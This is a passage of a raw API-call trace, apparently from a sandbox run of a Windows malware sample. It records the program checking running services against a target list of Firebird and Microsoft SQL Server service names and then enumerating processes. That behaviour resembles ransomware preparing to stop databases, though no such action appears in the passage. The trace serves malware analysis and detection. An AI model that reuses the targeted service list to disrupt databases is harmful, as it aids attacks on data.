lpString2="DcomLaunch") returned 1 [0056.181] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.181] lstrlenW (lpString="DeviceAssociationService") returned 24 [0056.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0056.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0056.181] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0056.181] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0056.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0056.181] lstrlenW (lpString="Dhcp") returned 4 [0056.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.181] lstrlenW (lpString="Dnscache") returned 8 [0056.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.182] lstrlenW (lpString="DoSvc") returned 5 [0056.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0056.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0056.182] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0056.182] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0056.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0056.182] lstrlenW (lpString="DPS") returned 3 [0056.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.183] lstrlenW (lpString="DusmSvc") returned 7 [0056.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0056.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0056.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0056.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0056.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0056.183] lstrlenW (lpString="EventLog") returned 8 [0056.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0056.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0056.183] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0056.183] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0056.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0056.183] lstrlenW (lpString="EventSystem") returned 11 [0056.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.183] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.183] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.183] lstrlenW (lpString="FontCache") returned 9 [0056.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0056.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0056.183] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0056.183] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0056.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0056.184] lstrlenW (lpString="gpsvc") returned 5 [0056.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.184] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.184] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.184] lstrlenW (lpString="iphlpsvc") returned 8 [0056.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.184] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.184] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.184] lstrlenW (lpString="KeyIso") returned 6 [0056.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0056.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0056.184] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0056.184] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0056.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0056.184] lstrlenW (lpString="LanmanServer") returned 12 [0056.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.184] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.184] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.184] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.184] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.184] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.185] lstrlenW (lpString="lfsvc") returned 5 [0056.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0056.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0056.185] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0056.185] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0056.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0056.185] lstrlenW (lpString="lmhosts") returned 7 [0056.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.185] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.185] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.185] lstrlenW (lpString="LSM") returned 3 [0056.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0056.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0056.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0056.185] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0056.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0056.185] lstrlenW (lpString="MpsSvc") returned 6 [0056.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.185] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.185] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.185] lstrlenW (lpString="NcbService") returned 10 [0056.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0056.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0056.185] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0056.185] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0056.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0056.186] lstrlenW (lpString="netprofm") returned 8 [0056.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.186] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.186] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.186] lstrlenW (lpString="NlaSvc") returned 6 [0056.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.186] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.186] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.186] lstrlenW (lpString="nsi") returned 3 [0056.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.186] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.186] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.186] lstrlenW (lpString="PcaSvc") returned 6 [0056.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.186] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.186] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.186] lstrlenW (lpString="PlugPlay") returned 8 [0056.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.186] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.186] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.187] lstrlenW (lpString="Power") returned 5 [0056.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.187] lstrlenW (lpString="ProfSvc") returned 7 [0056.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.187] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.187] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.187] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.187] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.187] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.187] lstrlenW (lpString="RpcSs") returned 5 [0056.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.187] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.187] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.187] lstrlenW (lpString="SamSs") returned 5 [0056.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.187] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.187] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.187] lstrlenW (lpString="Schedule") returned 8 [0056.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.188] lstrlenW (lpString="SecurityHealthService") returned 21 [0056.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0056.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0056.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0056.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0056.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0056.188] lstrlenW (lpString="SENS") returned 4 [0056.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.188] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.188] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.188] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.188] lstrlenW (lpString="Spooler") returned 7 [0056.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.189] lstrlenW (lpString="SSDPSRV") returned 7 [0056.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0056.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0056.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0056.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0056.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0056.189] lstrlenW (lpString="StateRepository") returned 15 [0056.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0056.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0056.189] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0056.189] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0056.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0056.189] lstrlenW (lpString="SysMain") returned 7 [0056.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.189] lstrlenW (lpString="SystemEventsBroker") returned 18 [0056.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0056.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0056.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0056.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0056.189] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f6108 | out: hHeap=0x690000) returned 1 [0056.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c [0056.312] Process32FirstW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.313] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.313] lstrlenW (lpString="System") returned 6 [0056.314] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.314] lstrlenW (lpString="smss.exe") returned 8 [0056.314] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.315] lstrlenW (lpString="csrss.exe") returned 9 [0056.315] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.316] lstrlenW (lpString="wininit.exe") returned 11 [0056.316] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.316] lstrlenW (lpString="csrss.exe") returned 9 [0056.316] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.317] lstrlenW (lpString="winlogon.exe") returned 12 [0056.317] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.318] lstrlenW (lpString="services.exe") returned 12 [0056.318] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.319] lstrlenW (lpString="lsass.exe") returned 9 [0056.319] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.319] lstrlenW (lpString="svchost.exe") returned 11 [0056.319] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0056.321] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0056.321] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0056.322] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0056.322] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.322] lstrlenW (lpString="svchost.exe") returned 11 [0056.323] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.323] lstrlenW (lpString="dwm.exe") returned 7 [0056.323] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.324] lstrlenW (lpString="svchost.exe") returned 11 [0056.324] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.325] lstrlenW (lpString="svchost.exe") returned 11 [0056.325] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.325] lstrlenW (lpString="svchost.exe") returned 11 [0056.325] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.326] lstrlenW (lpString="svchost.exe") returned 11 [0056.326] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.327] lstrlenW (lpString="svchost.exe") returned 11 [0056.327] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.328] lstrlenW (lpString="svchost.exe") returned 11 [0056.328] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.328] lstrlenW (lpString="svchost.exe") returned 11 [0056.328] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.329] lstrlenW (lpString="svchost.exe") returned 11 [0056.329] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 